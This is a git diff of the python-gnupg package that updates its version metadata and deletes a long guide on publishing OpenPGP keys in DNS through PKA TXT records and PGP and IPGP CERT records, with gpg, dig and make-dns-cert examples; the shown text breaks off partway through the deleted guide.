diff options
71 files changed, 974 insertions, 26982 deletions
@@ -1,13 +1,13 @@ Metadata-Version: 1.1 Name: gnupg -Version: 1.3.1 +Version: 2.0.2 Summary: A Python wrapper for GnuPG Home-page: https://github.com/isislovecruft/python-gnupg Author: Isis Agora Lovecruft Author-email: isis@patternsinthevoid.net License: GPLv3+ Download-URL: https://github.com/isislovecruft/python-gnupg/archive/master.zip -Description: This module allows easy access to GnuPG's key management, encryption and signature functionality from Python programs, by interacting with GnuPG through file descriptors. Input arguments are strictly checked and sanitised, and therefore this module should be safe to use in networked applications requiring direct user input. It is intended for use with Python 2.6 or greater. +Description: This module allows easy access to GnuPG's key management, encryption and signature functionality from Python programs, by interacting with GnuPG through file descriptors. Input arguments are strictly checked and sanitised, and therefore this module should be safe to use in networked applications requiring direct user input. It is intended for use on Windows, MacOS X, BSD, or Linux, with Python 2.6, Python 2.7, Python 3.3, Python 3.4, or PyPy. Platform: Linux Platform: BSD @@ -15,7 +15,13 @@ Platform: OSX Platform: Windows Classifier: Development Status :: 5 - Production/Stable Classifier: Intended Audience :: Developers +Classifier: Intended Audience :: System Administrators Classifier: License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+) +Classifier: Operating System :: Android +Classifier: Operating System :: MacOS :: MacOS X +Classifier: Operating System :: Microsoft :: Windows +Classifier: Operating System :: POSIX :: BSD +Classifier: Operating System :: POSIX :: Linux Classifier: Programming Language :: Python Classifier: Programming Language :: Python :: 2 Classifier: Programming Language :: Python :: 3 @@ -23,6 +29,8 @@ Classifier: Programming Language :: Python :: 2.6 Classifier: Programming Language :: Python :: 2.7 Classifier: Programming Language :: Python :: 3.3 Classifier: Programming Language :: Python :: 3.4 +Classifier: Programming Language :: Python :: Implementation :: CPython +Classifier: Programming Language :: Python :: Implementation :: PyPy Classifier: Topic :: Security :: Cryptography Classifier: Topic :: Software Development :: Libraries :: Python Modules Classifier: Topic :: Utilities diff --git a/docs/Complete-Guide-to-Publishing-OpenPGP-in-DNS.md b/docs/Complete-Guide-to-Publishing-OpenPGP-in-DNS.md deleted file mode 100644 index 5112c97..0000000 --- a/docs/Complete-Guide-to-Publishing-OpenPGP-in-DNS.md +++ /dev/null @@ -1,832 +0,0 @@ -<!-- - -Livejournal Introduction: - -I recently wrestled with something, learned quite a lot, and came up with a document that I'm really rather proud of, that -shares knowledge that's not all out there in one place anywhere else. Along the way I've written some software that I'm -releasing, that makes all of what I've learned a lot easier, and may help make the world a little more secure. I'd like to -share it here. - -This is going to be a technical post. For that I apologize. The target of this post is anyone who has a GPG key that they'd -like to expand to a greater audience, and who controls DNS for any of the email domains they publish. Anyone that I host DNS -or mail for is also welcome to do this, if you use PGP, as part of the goal of writing this is to encourage adoption and use -of these methods - -<lj-cut text="This will be long and technical"> ---> - -# The complete guide to publishing PGP keys in DNS - -## Introduction - -Publishing PGP keys is a pain. There are many disjoint keyservers, three or -four _networks_ of which, which do (or don't) share information with each -other. Some are corporate, some are private. And it's a crapshoot as to -whose key is going to be on which, or worse, which will have the latest copy -of a person's key. - -For a long time, GPG has had a way to publish keys in DNS, but it hasn't been -well documented. This document hopes to change that. - -After reading this, you should: - -* Know the three ways to publish a key - -* Have at least a couple tools to do so - -* Have learned a bit more about DNS - -The target audience for this guide is a technical one. It's expected you -understand what DNS is, and what an RFC and a resource record is. - -There are three ways to publish a PGP key in DNS. Most modern versions of GPG -can retrieve from all three, although it's not enabled by default. There are -no compile-time options you need to enable it, and it's simple to turn on. Of -the three key-publishing methods, there are two that you probably shouldn't -use at the same time, and there are advantages and disadvantages to each, -which I hope to outline below, both in general and for each method. - -### Advantages to DNS publishing of your keys - -* It's universal. Your DNS is your own, and you don't have to worry about - which network of vastly-disconnectedkeyservers is caching your key. - -* Using DNS does not stop you from publishing via other means. - -* If you run an organization, you can easily publish all your employee-keys - via this method, and in the same step,define a signing-policy, such that a - person need only assign trust to your organization's "keysigning key" (or - theCEO's key, or the CTO's), without the trouble of running a keyserver. - -* DNSSEC can be (somewhat) used as an additional trust-path vector. More on - this in the notes at the bottom. - -* You do not have to be searching DNS for keys in order to publish. On the - same note, you do not have to be publishing in this manner to search - forothers there. - -### Disadvantages to DNS publishing - -* If you don't control your own DNS (or have a good relationship with your DNS - admin), this isn't going to beas easy or even possible. Ideally, you want - to be running BIND. - -* With two of the three methods listed here, you're going to need to be able - to put a CERT record into your DNS. Mostweb-enabled DNS tools probably will - not give you this ability. The third uses TXT records, which SPF has caused - to befairly universal in web-interfaces. However, it's also the least - standards-defined of the three. - -* Using at least some of these methods, it's not always a "set it and forget - it" procedure. You may need toperiodically re-export your key and - re-publish it, especially if you gain new signatures. - -* Using some of these methods, you're going to be putting some pretty large, - pretty unwiedly lines in your DNS zones. Not everyone will easily be able - to retrieve them, but again, you can still publish other ways. - -* Using some of these methods, DNS is just a means to an end: you still need - to publish your key elsewhere, like a webpage,and the DNS records just point - at it. - -* Initial verifications of most of these seem to imply that only DSA keys are - supported, although I welcome feedback. Itseems the community is trying to - get RSA keys to make a comeback. They're the only type supported by the - gpg2.0 card, andthey are the default keytype. There was a while where they - weren't, though. Since writing this document, I've discoveredthat "new" RSA - keys work, but ancient RSA keys with no subkeys tend to misbehave. - -### Turning on key-fetching via DNS - -Inside your GPG "options" file, find the "auto-key-locate" line, and add -"cert" and/or "pka" to the options. - - auto-key-locate cert pka (as well as other methods, like keyserver URLs) - - -Don't be surprised if a lot of people don't use this method. - -Note that you can also turn on two options during signature verification. -They are specified in a "verify-options" clause in your config file, or on the -command line, and they are (right from the GPG manpage): - - pka-lookups - - Enable PKA lookups to verify sender addresses. Note that - PKA is based on DNS, and so enabling this option may dis- - close information on when and what signatures are veri- - fied or to whom data is encrypted. This is similar to the - "web bug" described for the auto-key-retrieve feature. - -And: - - pka-trust-increase - - Raise the trust in a signature to full if the signature - passes PKA validation. This option is only meaningful if - pka-lookups is set. - - -You can also use the same options on the command line (as you'll see in this -document). - -## Types of PGP Key Records - -### DNS PKA Records - -Relevant RFCs: None that I can find. - -Other Docs: The GPG source and mailing lists. - -#### Advantages - -* It's a TXT record. Easy to put in a zonefile with most management software. -* No special tools required to generate, just three simple pieces of data. -* Since it uses a special subzone, you can manage the _pka namespace in a - separate zonefile. -* GPG has an option, when verifying a signature, to look up these records - (--verify-options pka-lookups), so it's doubly useful, both from a - distribution and a verification point. - -#### Disadvantages - -* As with IPGP certs, you're at the mercy of the URL. This doesn't put your - key in DNS, just the location of it, and the fingerprint. Some clients may - not be able to support https or http 1.1. -* Not RFC standard. - -#### Howto - -1. Figure out which key you want to export: - - %gpg --list-keys danm@prime.gushi.org - Warning: using insecure memory! - pub 1024D/624BB249 2000-10-02 <-- I'm going to use this one. - uid Daniel P. Mahoney <danm@prime.gushi.org> - uid Daniel Mahoney (Secondary Email) <gushi@gushi.org> - sub 2048g/DE20C529 2000-10-02 - pub 1024R/309C17C5 1997-05-08 - uid Daniel P. Mahoney <danm@prime.gushi.org> - -2. Export the key to a file (I use keyid.pub.asc, but it can be anything) - - %gpg --export --armor 624BB249 > 624BB249.pub.asc - Warning: using insecure memory! - % - -3. Get the fingerprint for your key: - - %gpg --list-keys --fingerprint 624BB249 - gpg: WARNING: using insecure memory! - gpg: please see http://www.gnupg.org/faq.html for more information - pub 1024D/624BB249 2000-10-02 - Key fingerprint = C206 3054 5492 95F3 3490 37FF FBBE 5A30 624B B249 <-- That bit is your fingerprint. - uid Daniel P. Mahoney <danm@prime.gushi.org> - uid Daniel Mahoney (Secondary Email) <gushi@gushi.org> - sub 2048g/DE20C529 2000-10-02 - -4. Copy the file somewhere, like your webspace. It need not live on the same - server. It needs to be accessable by the url you create in the next step. - - %cp 624BB249.pub.asc public_html/danm.pubkey.txt - -5. Make up your text record. The format is: - - danm._pka.prime.gushi.org. TXT "v=pka1;fpr=C2063054549295F3349037FFFBBE5A30624BB249;uri=http://prime.gushi.org/danm.pubkey.txt" - - -We'll take this in several parts. The record label is simply the email -address with "._pka." replacing the "@". danm@prime.gushi.org becomes -danm._pka.prime.gushi.org. Don't forget the trailing dot, if you're using the -fully qualified name. I recommend sticking with fully-qualified, for -simplicity. - -The body of the record is also simple. The v portion is just a version. -There's only one version as far as I can tell, 'pka1'. The fpr is the -fingerprint, with all whitespace stripped, and in uppercase. The uri is the -location a key can be retrieved from. All the "names" are lowercase, -separated by semicolons. - -6. Publish the above record in your DNS. Bump your serial number and reload - your nameserver. If you're using DNSSEC, re-sign your zone. - -#### Testing - -Most of the tests we're going to do for these are essentially the same -activity. See if our DNS server is handing out an answer, and then see if GPG -can retrieve it. - -1. A simple dig: - - %dig +short danm._pka.prime.gushi.org. TXT - "v=pka1\;fpr=C2063054549295F3349037FFFBBE5A30624BB249\;uri=http://prime.gushi.org/danm.pubkey.txt" - -(The backslashes before the semicolons are normal). Other than that, it seems -to make sense and match what I put in.) - -2. Test it with GPG. Rather than messing around with, and adding-from and - deleting from live keyrings, you can do: - - %echo "foo" | gpg --no-default-keyring --keyring /tmp/gpg-$$ --encrypt --armor --auto-key-locate pka -r you@you.com - - -(where you@you.com is the address of your primary key.) The /tmp/gpg-$$ -creates a random file named after your PID. What you should see, and what I -see, is something like this: - - gpg: WARNING: using insecure memory! - gpg: please see http://www.gnupg.org/faq.html for more information - gpg: keyring `/tmp/gpg-39996' created - gpg: requesting key 624BB249 from http server prime.gushi.org - gpg: key 624BB249: public key "Daniel P. Mahoney <danm@prime.gushi.org>" imported - gpg: public key of ultimately trusted key CF45887D not found - gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model - gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u - gpg: Total number processed: 1 - gpg: imported: 1 - gpg: automatically retrieved `danm@prime.gushi.org' via PKA - gpg: DE20C529: There is no assurance this key belongs to the named user - pub 2048g/DE20C529 2000-10-02 Daniel P. Mahoney <danm@prime.gushi.org> - Primary key fingerprint: C206 3054 5492 95F3 3490 37FF FBBE 5A30 624B B249 - Subkey fingerprint: CE40 B786 81E2 5CB9 F7D3 1318 9488 EB58 DE20 C529 - It is NOT certain that the key belongs to the person named - in the user ID. If you *really* know what you are doing, - you may answer the next question with yes. - Use this key anyway? (y/N) y - -----BEGIN PGP MESSAGE----- - Version: GnuPG v1.4.10 (FreeBSD) - hQIOA5SI61jeIMUpEAf/UotgWP8VQC9VTY36HaZeXO1CTFk90x0qlPrAhJk9YaoA - 2eHNKZSoHKqaLjzTbaWnWHnNZu0IllIS+qrAwNeIAhswfzDoc8Q9+/4sGSR3LmxA - 8SEwrJIvLmGVbqJEtnH8TTHIEao/lpL/d+ul4nLfbXRn0NW+MsaCAi8UsjbLlJeV - n4p0GQlpDoZCE55DTwMzfWMT84YVwuXTesuN+i7sSyJn2hT1rXuK1BCVcsgTcKdy - QhIo3EfKBlfFp74yiU7QCmlAujD6U6a93mmxezPIHVx/WGXgPExVRGgEzfT/tUcI - IQ2xMDUv4BF05hgm04GPGCbBY431j4UkdWWI6bvMLwgA2i01NmflH/6Z8+ss6J1M - e3RWnR7TPl5lDkXFBtLGAzO+HrsC5A32SbkTw+WsljCQLifJ2EalfoJ1QGY4Sp3v - H2YunwZLVPTc+D2JnrXfqNmi5zYZio8by3c8L0CgWdMwZ7PPxZpTOLN77/MIjBkJ - EBb8Z6SZCgzTIhN5z56ZgWFvmSKf1vKkeUcrgxMs+DnA+XqBMJ9w520JwoTLjJza - syrlYVhd+ktY21DYB9OJ5MZx2HMAtkUDRAzW1zoLcehk1kdZNzhpjU5hqSjT8/GN - trKFeqkmKemrq2GvMNyJyrEOB8e7KgbmXa95YKH0Wh2D4SWpXukegyCspmY4tDE+ - uckaFSao+48g8D6vs1irGSxBRjyhD/jPDblrgpo= - =NbgW - -----END PGP MESSAGE----- - -The "insecure memory" warning is a silly warning that the only way to turn off is to run GPG setuid root. -You can see in the output that the key comes from PKA. - -The "it is NOT certain" warning has nothing to do with the fact that it came -from DNS. You will get that warning every time you use that key (or any gpg -key) until you have edited it and assigned ownertrust to it, or until the key -is signed with a trusted signature, either from your personal web of trust, or -from a signing service like the pgp.com directory. - -3. Ask other people to run it for you and send you the resulting blob. You should be able to decrypt it with your private key. - -### PGP CERT Records - -Also known as: The "big" CERT record. - -Relevant RFCs: [RFC 2538](http://www.faqs.org/rfcs/rfc2538.html), -[RFC 4398](http://www.faqs.org/rfcs/rfc4398.html), specifically sections 2.1 -and 3.3 - -#### Advantages - -* DNS is all you need. You don't have to host the key elsewhere. As a DNS - nerd, this strikes me as very cool. - -* Suprisingly easy to verify with dig, if you have a base64 converter handy - (openssl includes one) - -#### Disadvantages - -* These records can get big. Really big. Especially if you have photo-ids on your keys. You can play with export-options to shrink it somewhat. Big dns packets may require EDNS, or dns-over-tcp, which not everyone supports, but support is becoming more widespread as a result of DNSSEC awareness. - -* Requires the make-dns-cert tool, which isn't built by default. - -* Requires you to have some control over your actual zonefile. Most control panels won't cut it. - -* Make-dns-cert currently generates a very ugly record for this. - - #### How to - -1. As before, the first step is to figure out which key we want. - - %gpg --list-keys danm@prime.gushi.org - Warning: using insecure memory! - pub 1024D/624BB249 2000-10-02 <-- I'm going to use this one. - uid Daniel P. Mahoney <danm@prime.gushi.org> - uid Daniel Mahoney (Secondary Email) <gushi@gushi.org> - sub 2048g/DE20C529 2000-10-02 - pub 1024R/309C17C5 1997-05-08 - uid Daniel P. Mahoney <danm@prime.gushi.org> - -2. We export the key, but this time, it needs to be binary. - - %gpg --export 624BB249 > 624BB249.pub.bin - Warning: using insecure memory! - -3. We run make-dns-cert on it. make-dns-cert comes with no manual or docs, - but running with -h gives you all the clue you need. - - make-dns-cert - -f fingerprint - -u URL - -k key file - -n DNS name - -So then, - - make-dns-cert -n danm.prime.gushi.org. -k 624BB249.pub.bin - <pre>`%make-dns-cert -n danm.prime.gushi.org. -k 624BB249.pub.bin - danm.prime.gushi.org. TYPE37 \# 1298 0003 0000 00 9901A20439D8DAF1110400F770EC6AA006076334BEC6DB6FBB237DC194BC0AB8 - 302C8953F04C28FC2085235D4F10EFA027234FBD63D142CCADD5213AD2B79A22C89ED9B4138370D8220D0F987F993A5364A4A7AC3D42F3765C384 - 71DDD0FF3372E4AE6F7BEE1E18EF464A0BEB5BBE860A08238891455EBE7CB53D567E981F78ADBD263206B0493ADCB74DD00A0FF0E9A1CD245415E - CEF59435162AFCE4CDD14BC70400EA38FF501256E773DEA299404854D99F4EDB2757AA911A9C77C68AB8D6622E517A556C43D21F0523C568F016C - D0DB89EF435F0D53B4E07434213F899E6578955DC2C147931E7B6901C9FD8A02705417D69A879B3CC196D2AC2EAEF311192EE89ABAF5A60942167 - B4625735FCBDFB5DE0E3AC1236A53FA4D7CDD7D75F5DE85AF50400867D9546B28B79AF10541053CF4AB06A6171BFD21458BFD12AF1AE2B2401CAD - 8851661F8AF6602F80EDAC99C79616BE1F910F4156242003779C68D7A079A8B18F89DD293E1B247E7420471300A4A0730AA61DE281CCC211FC405 - A0A8A79877999FF9042AD892AB927DA371E8883BBB370AB7A97841408C3486BB18598CF2559BB42844616E69656C20502E204D61686F6E6579203 - C64616E6D407072696D652E67757368692E6F72673E884E04101102000E050239D8DAF1040B030102021901000A0910FBBE5A30624BB249FA2E00 - 9B057503ED498695AE5ED73CA1B98EBAEE13F717E500A0921E0D92724459100266FEBBC29E911C8B0F530BB43244616E69656C204D61686F6E657 - 920285365636F6E6461727920456D61696C29203C67757368694067757368692E6F72673E8860041311020020050245D49FD7021B23060B090807 - 030204150208030416020301021E01021780000A0910FBBE5A30624BB249158400A082C8AF43DA8B85F740D6B1A6E9FF0B4490520B8C00A08F77D - 21FBF86C842963E8090DC0646D1DD7F95C9B9020D0439D8DAF4100800F64257B7087F081772A2BAD6A942F305E8F95311394FB6F16EB94B3820DA - 01A756A314E98F4055F3D007C6CB43A994ADF74C648649F80C83BD65E917D4A1D350F8F5595FDC76524F3D3D8DDBCE99E1579259CDFDB8AE744FC - 5FC76BC83C5473061CE7CC966FF15F9BBFD915EC701AAD35B9E8DA0A5723AD41AF0BF4600582BE5F488FD584E49DBCD20B49DE49107366B336C38 - 0D451D0F7C88B31C7C5B2D8EF6F3C923C043F0A55B188D8EBB558CB85D38D334FD7C175743A31D186CDE33212CB52AFF3CE1B1294018118D7C84A - 70A72D686C40319C807297ACA950CD9969FABD00A509B0246D3083D66A45D419F9C7CBD894B221926BAABA25EC355E9320B3B00020207FF5E1A3C - C5DA00E1E94EC8EF6C7FE9B49D944C71D8BBC817DD8E64A7344B9E48392E0B833B3B1DB7E6D5A38BE2826DEF0060F78C6417871EAF1CFBCBC47D2 - 7E93718D975E0A3A36D868C021D6B771740CE2918307D69D614BBF0632DC31932EA31397A7F3B04618C9A76C2F38265C7037E303EDD8AEF03D069 - 208E3FE9C4EA77D83E6311ED36C013D58C54E914B263A459E22D463A0288510C4752B99C163EEA0A55686979691AB0D9F9AA0C06C834446D7A723 - EC534D819301382621ACF8930C74E9FD28C8797718AEC2C30CF601E24194B799234104A3D6239657B1D4AD545BDAA637F61541435CB51B4D138FB - F55E1A9FD2EED860E4459D6795B6FCCA23155A8846041811020006050239D8DAF4000A0910FBBE5A30624BB249415A009E37BCFDC64E76CBF6A86 - 82B85EA161BD1DFB793DF00A0C471BC7B9723535CD855D8FF1EB93F01E251B698 - % - -The program prints that all on **one line**. - -Immediately, we notice a few things. - -* The record type isn't "CERT", it's "TYPE37". This confused me for a while until I discovered [RFC3597](http://www.faqs.org/rfcs/rfc3597.html) Basically, it's a way that a DNS server can handle a resource record it doesn't know about, by giving it some special fields like the "#", as well as a length (which is the 1298 you see there). - -* The rest of the record is on one line. I wrapped it for the purposes of brevity. If I were using this in a zonefile, I would need to be careful that I wrapped it on a byte-boundary (every two characters is a byte). If I miss the boundary, named will refuse to load it, dnssec-signzone won't touch it, etc. - -4. So the thing is ugly and you don't want to touch it. The easiest way to work with it is to drop all that into a file: - - %make-dns-cert -n danm.prime.gushi.org. -k 624BB249.pub.bin > 624BB249.big.cert - - -5. And then either read it into your editor, or tack it on like this: - - %cat 624BB249.big.cert >> your.zonefile - -Be sure to make a backup first. Either way, you never have to copy/paste the raw hex and worry about newlines being inserted where you don't want them. - -6. Before you reload your zone, you might want to use named-checkzone on it first: - - prime# named-checkzone gushi.org gushi.org.hosts - zone gushi.org/IN: loaded serial 2009102909 - OK - prime# - -7. Voice of experience: You may want to dial the TTL (which controls how long servers will cache your data) way down on the record above. It's not hard, just put a number before the TYPE37, with a space, i.e: - - danm.prime.gushi.org. 30 TYPE37 - -This way if it all goes terribly wrong, or you need to make changes, it won't be cached for very long. - -8. If it looks okay, bump your serial number and reload. - -#### Testing - -1. As above, you can dig, but you won't be able to easily read the results: - - prime# dig +short danm.prime.gushi.org CERT - ;; Truncated, retrying in TCP mode. - - -PGP 0 0 -mQGiBDnY2vERBAD3cOxqoAYHYzS+xttvuyN9wZS8CrgwLIlT8Ewo/CCF -I11PEO+gJyNPvWPRQsyt1SE60reaIsie2bQTg3DYIg0PmH+ZOlNkpKes -PULzdlw4Rx3dD/M3Lkrm977h4Y70ZKC+tbvoYKCCOIkUVevny1PVZ+mB -94rb0mMgawSTrct03QCg/w6aHNJFQV7O9ZQ1Fir85M3RS8cEAOo4/1AS -Vudz3qKZQEhU2Z9O2ydXqpEanHfGirjWYi5RelVsQ9IfBSPFaPAWzQ24 -nvQ18NU7TgdDQhP4meZXiVXcLBR5Mee2kByf2KAnBUF9aah5s8wZbSrC -6u8xEZLuiauvWmCUIWe0Ylc1/L37XeDjrBI2pT+k183X119d6Fr1BACG -fZVGsot5rxBUEFPPSrBqYXG/0hRYv9Eq8a4rJAHK2IUWYfivZgL4DtrJ -nHlha+H5EPQVYkIAN3nGjXoHmosY+J3Sk+GyR+dCBHEwCkoHMKph3igc -zCEfxAWgqKeYd5mf+QQq2JKrkn2jceiIO7s3CrepeEFAjDSGuxhZjPJV -m7QoRGFuaWVsIFAuIE1haG9uZXkgPGRhbm1AcHJpbWUuZ3VzaGkub3Jn -PohOBBARAgAOBQI52NrxBAsDAQICGQEACgkQ+75aMGJLskn6LgCbBXUD -7UmGla5e1zyhuY667hP3F+UAoJIeDZJyRFkQAmb+u8KekRyLD1MLtDJE -YW5pZWwgTWFob25leSAoU2Vjb25kYXJ5IEVtYWlsKSA8Z3VzaGlAZ3Vz -aGkub3JnPohgBBMRAgAgBQJF1J/XAhsjBgsJCAcDAgQVAggDBBYCAwEC -HgECF4AACgkQ+75aMGJLskkVhACggsivQ9qLhfdA1rGm6f8LRJBSC4wA -oI930h+/hshClj6AkNwGRtHdf5XJuQINBDnY2vQQCAD2Qle3CH8IF3Ki -utapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSG -SfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPF -RzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvN -ILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjT -NP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM -2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAICB/9e -GjzF2gDh6U7I72x/6bSdlExx2LvIF92OZKc0S55IOS4Lgzs7Hbfm1aOL -4oJt7wBg94xkF4cerxz7y8R9J+k3GNl14KOjbYaMAh1rdxdAzikYMH1p -1hS78GMtwxky6jE5en87BGGMmnbC84JlxwN+MD7diu8D0Gkgjj/pxOp3 -2D5jEe02wBPVjFTpFLJjpFniLUY6AohRDEdSuZwWPuoKVWhpeWkasNn5 -qgwGyDREbXpyPsU02BkwE4JiGs+JMMdOn9KMh5dxiuwsMM9gHiQZS3mS -NBBKPWI5ZXsdStVFvapjf2FUFDXLUbTROPv1Xhqf0u7YYORFnWeVtvzK -IxVaiEYEGBECAAYFAjnY2vQACgkQ+75aMGJLsklBWgCeN7z9xk52y/ao -aCuF6hYb0d+3k98AoMRxvHuXI1Nc2FXY/x65PwHiUbaY - - -It's still ugly, but it's not AS ugly because it's base64, which includes -spaces, at least, and is easier to search for a pattern. Base64 can also be -easily wrapped on any boundary, which is nice. - -You can run your existing exported key through a base64 converter, like the -one built into the openssl binary, if you want to compare: - - %cat 624BB249.pub.bin | openssl enc -base64 - mQGiBDnY2vERBAD3cOxqoAYHYzS+xttvuyN9wZS8CrgwLIlT8Ewo/CCFI11PEO+g - JyNPvWPRQsyt1SE60reaIsie2bQTg3DYIg0PmH+ZOlNkpKesPULzdlw4Rx3dD/M3 - Lkrm977h4Y70ZKC+tbvoYKCCOIkUVevny1PVZ+mB94rb0mMgawSTrct03QCg/w6a - (...etc...) - OPv1Xhqf0u7YYORFnWeVtvzKIxVaiEYEGBECAAYFAjnY2vQACgkQ+75aMGJLsklB - WgCeN7z9xk52y/aoaCuF6hYb0d+3k98AoMRxvHuXI1Nc2FXY/x65PwHiUbaY - - -Now, while you could compare things byte-by-byte here, what I've done as a -"casual check" is just pick random strings in the text and see if they match -up. For example, you can see that "reaIsie2" is present in both. They both -start with and end with similar strings on every line. The real test, of -course, is to see if GPG recognizes it as a valid key. - -By the way, since I use DNSSEC, dnssec-signzone rewrites this record into the -proper "presentation format" for me, which is base64. If you want a similar -function, you can use named-compilezone to get some of the same effects, or -you can use the shell script I provide later in this document, with which you -don't even need make-dns-cert. - -2. Testing with gpg - -As above, the command to test this is remarkably simple: - - %rm /tmp/gpg-* - %echo "foo" | gpg --no-default-keyring --keyring /tmp/gpg-$$ --encrypt --armor --auto-key-locate cert -r danm@prime.gushi.org - gpg: keyring `/tmp/gpg-39996' created - gpg: key 624BB249: public key "Daniel P. Mahoney <danm@prime.gushi.org>" imported - gpg: Total number processed: 1 - gpg: imported: 1 - gpg: automatically retrieved `danm@prime.gushi.org' via DNS CERT - gpg: DE20C529: There is no assurance this key belongs to the named user - pub 2048g/DE20C529 2000-10-02 Daniel P. Mahoney <danm@prime.gushi.org> - Primary key fingerprint: C206 3054 5492 95F3 3490 37FF FBBE 5A30 624B B249 - Subkey fingerprint: CE40 B786 81E2 5CB9 F7D3 1318 9488 EB58 DE20 C529 - It is NOT certain that the key belongs to the person named - in the user ID. If you *really* know what you are doing, - you may answer the next question with yes. - Use this key anyway? (y/N) y - -----BEGIN PGP MESSAGE----- - Version: GnuPG v1.4.10 (FreeBSD) - hQIOA5SI61jeIMUpEAf/Sx7MKWm+e9EpUTSrDaBp4nJfDcBeqbYJulPRbDZz7eVW - 2+ol6sG0jWjuirbG1YppZccEr9mgqaQujdSXb/bleD8POS0TEWuf3aPswFQvHf90 - NLEzHt6BnfLoeobXXxyCflNaGX8zW+XgJtwZqAc2+jietuz8MOUhrf5m17CsW/wZ - IuEqwaek+K1irJp+w3rhaE08Jzb/S4CCifeW9J3mK57chQoPOu7Nz3rY666YKp/3 - 9T9StOgmFiNpvtFPNy4N7hHMHvbQwRsKlnkl+a7n0Aq2+OF4d1+/k2EE4uSGgcz0 - oHvee8DnuOx3P92mO4Jz5/0O0lwBD7I51iOjzUurTAgAiIM5sHV8/QFCVzH9Ule+ - gd8Wo5momcphkU/AXpce5Xgi/Vm4oGQ0x0queii8afUrzkpeN5SuwgQfAdOPiXW5 - 2bo527jBllxOxjeBasfky82XheTnLzbAQNvQNTEM9zE7zCl1LQJUZEJ1hVzcOevI - s+cm/AaGII9VkrAtSt3aLSRZuRJHFmhGvYd2Hz5WzcV1YFjXXP1eLwfetDBlaeB9 - /K5v4hZBkIZPbHX0DcLVrP96mCIT4wCBYSJw+I6n0E6Fz3IfybQG2HMfqWp966/c - 00ijx/aRDh42Dr/fTropuzzFzQr7weYDa1JnN3Zoftv6Zb/n+NcrmMiDCH8jJV6E - uMkaeeB5Mv7ssDQ9kPhO989CHFcznrE1lgOxjX8= - =NTLY - -----END PGP MESSAGE----- - -Okay, as above, try to decrypt that with your private key. - -### IPGP CERT Records - -Also known as: The "little" or "short" CERT record. (These terms are purely my -own). - -Relevant RFCs: [RFC 2538](http://www.faqs.org/rfcs/rfc2538.html), -[RFC 4398](http://www.faqs.org/rfcs/rfc4398.html), specifically sections 2.1 -and 3.3 - -IPGP certs are interesting. It's basically the same pieces of infomation that -are in the PKA record, as above, except that it's supported by an RFC. -Despite the RFC compliance, I am not sure if any non-gpg client knows to look -for them. However, because it's a DNS cert, make-dns-cert encodes the -information in binary, and your DNS server will see it in base64. So -verifying it visually is harder than verifying either of the above. - -#### Advantages - -* Small, easy-to-transmit records. -* Can use the same uri as the PKA record. - -#### Disadvantages - -* Relies on the URI scheme. I haven't yet been able to get a definitive list - of what uri schemes are supported, although I've seen http and finger. I've - also seen reports that unless gpg is compiled against curl, http 1.1 is not - supported (what this actually means is that any host that supports SSL will - probably work, because of some of the nuances of SSL). -* With PGP certs and IPGP certs, GPG will only parse the first key it gets, so - if you publish both, and one doesn't work, there's no failover. I've argued - that this should be fixed. -* Requires make-dns-cert, which is not built in GPG by default. (But see "A - Better Way" below) -* Requires publication in your main DNS zone. -* Despite being RFC compliant, GPG has additional trust vectors for PKA but - not this, despite the fact that they share basically the same information. -* Harder to verify with dig. - -#### Howto - -1. Note that some of these steps are redundant. If you're already doing a PKA - key, skip to step 5. - -2. Dig: - - %gpg --list-keys danm@prime.gushi.org - Warning: using insecure memory! - pub 1024D/624BB249 2000-10-02 <-- I'm going to use this one. - uid Daniel P. Mahoney <danm@prime.gushi.org> - uid Daniel Mahoney (Secondary Email) <gushi@gushi.org> - sub 2048g/DE20C529 2000-10-02 - pub 1024R/309C17C5 1997-05-08 - uid Daniel P. Mahoney <danm@prime.gushi.org> - -3. Export the key to a file (I use keyid.pub.asc, but it can be anything) - - %gpg --export --armor 624BB249 > 624BB249.pub.asc - Warning: using insecure memory! - % - -4. Get the fingerprint for your key: - - %gpg --list-keys --fingerprint 624BB249 - gpg: WARNING: using insecure memory! - gpg: please see http://www.gnupg.org/faq.html for more information - pub 1024D/624BB249 2000-10-02 - Key fingerprint = C206 3054 5492 95F3 3490 37FF FBBE 5A30 624B B249 <-- That bit is your fingerprint. - uid Daniel P. Mahoney <danm@prime.gushi.org> - uid Daniel Mahoney (Secondary Email) <gushi@gushi.org> - sub 2048g/DE20C529 2000-10-02 - -5. As above, run make-dns-cert. This time we use the -n, -f, and -u options: - - %make-dns-cert -n danm.prime.gushi.org. -f C2063054549295F3349037FFFBBE5A30624BB249 -u http://prime.gushi.org/danm.pubkey.txt - danm.prime.gushi.org. TYPE37 \# 64 0006 0000 00 14 C2063054549295F3349037FFFBBE5A30624BB249 687474703A2F2F7072696D652E67757368692E6F72672F64616E6D2E7075626B65792E747874 - % - - -6. Put the above in DNS. All on one line. Optionally add a TTL. - -7. IMPORTANT: make sure you don't have any other CERT records with the same - label (i.e. a "big" cert, as above). While it won't break things, you have - no control over which (of multiple) people will get. - -8. Reload your zone, and test. Testing will probably look VERY MUCH like the - above, but here are the steps anyway: - -#### Testing - -1. Dig: - - %dig +short danm.prime.gushi.org CERT - 6 0 0 FMIGMFRUkpXzNJA3//u+WjBiS7JJaHR0cDovL3ByaW1lLmd1c2hpLm9y Zy9kYW5tLnB1YmtleS50eHQ= - -Sadly, I haven't come across an easy way to decipher it yet, but there's -always gpg. - -2. GPG: - -Since we're fetching the same kind of record, the command is exactly the same -as before: - - %echo "foo" | gpg --no-default-keyring --keyring /tmp/gpg-$$ --encrypt --armor --auto-key-locate cert -r danm@prime.gushi.org - gpg: WARNING: using insecure memory! - gpg: please see http://www.gnupg.org/faq.html for more information - gpg: keyring `/tmp/gpg-39996' created - gpg: requesting key 624BB249 from http server prime.gushi.org - gpg: key 624BB249: public key "Daniel P. 